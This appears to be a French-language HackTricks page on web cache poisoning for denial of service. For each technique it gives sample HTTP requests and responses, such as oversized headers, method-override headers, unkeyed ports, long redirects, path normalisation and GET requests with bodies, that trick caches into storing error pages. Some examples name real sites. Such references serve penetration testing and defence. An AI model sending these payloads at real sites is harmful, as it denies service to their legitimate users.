# Cache Poisoning to DoS
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** đŹ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% hint style="danger" %}
Dans cette page, vous pouvez trouver diffĂ©rentes variations pour essayer de faire en sorte que le **serveur web rĂ©ponde avec des erreurs** aux requĂȘtes qui sont **valables pour les serveurs de cache**
{% endhint %}
* **HTTP Header Oversize (HHO)**
Envoyez une requĂȘte avec une taille d'en-tĂȘte supĂ©rieure Ă celle supportĂ©e par le serveur web mais infĂ©rieure Ă celle supportĂ©e par le serveur de cache. Le serveur web rĂ©pondra avec une rĂ©ponse 400 qui pourrait ĂȘtre mise en cache :
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Character (HMC) & Valeurs inattendues**
Envoyez un en-tĂȘte contenant des **caractĂšres mĂ©ta nuisibles** tels que `\n` et `\r`. Pour que l'attaque fonctionne, vous devez d'abord contourner le cache.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
Un en-tĂȘte mal configurĂ© pourrait ĂȘtre juste `\:` comme en-tĂȘte.
Cela pourrait également fonctionner si des valeurs inattendues sont envoyées, comme un Content-Type: inattendu.
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **En-tĂȘte non clĂ©**
Certaines sites web renverront un code d'Ă©tat d'erreur s'ils **voient certains en-tĂȘtes spĂ©cifiques** dans la requĂȘte comme avec l'en-tĂȘte _X-Amz-Website-Location-Redirect: someThing_:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **HTTP Method Override Attack (HMO)**
Si le serveur prend en charge le changement de la mĂ©thode HTTP avec des en-tĂȘtes tels que `X-HTTP-Method-Override`, `X-HTTP-Method` ou `X-Method-Override`. Il est possible de demander une page valide en changeant la mĂ©thode afin que le serveur ne la prenne pas en charge, ce qui entraĂźne la mise en cache d'une mauvaise rĂ©ponse :
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Port non clé**
Si le port dans l'en-tĂȘte Host est reflĂ©tĂ© dans la rĂ©ponse et n'est pas inclus dans la clĂ© de cache, il est possible de le rediriger vers un port inutilisĂ© :
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Long Redirect DoS**
Comme dans l'exemple suivant, x n'est pas mis en cache, donc un attaquant pourrait abuser du comportement de réponse de redirection pour faire en sorte que la redirection envoie une URL si grande qu'elle renvoie une erreur. Ensuite, les personnes essayant d'accéder à l'URL sans la clé x non mise en cache recevront la réponse d'erreur :
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Normalisation de la casse de l'en-tĂȘte d'hĂŽte**
L'en-tĂȘte d'hĂŽte devrait ĂȘtre insensible Ă la casse, mais certains sites Web s'attendent Ă ce qu'il soit en minuscules, renvoyant une erreur s'il ne l'est pas :
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Normalisation des chemins**
Certaines pages renverront des codes d'erreur en envoyant des données URLencode dans le chemin, cependant, le serveur de cache URLdécode le chemin et stocke la réponse pour le chemin URLdécodé :
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Fat Get**
Certains serveurs de cache, comme Cloudflare, ou serveurs web, arrĂȘtent les requĂȘtes GET avec un corps, donc cela pourrait ĂȘtre exploitĂ© pour mettre en cache une rĂ©ponse invalide :
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## Références
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Apprenez et pratiquez le hacking GCP : [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Soutenir HackTricks
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
* **Rejoignez le** đŹ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépÎts github.
{% endhint %}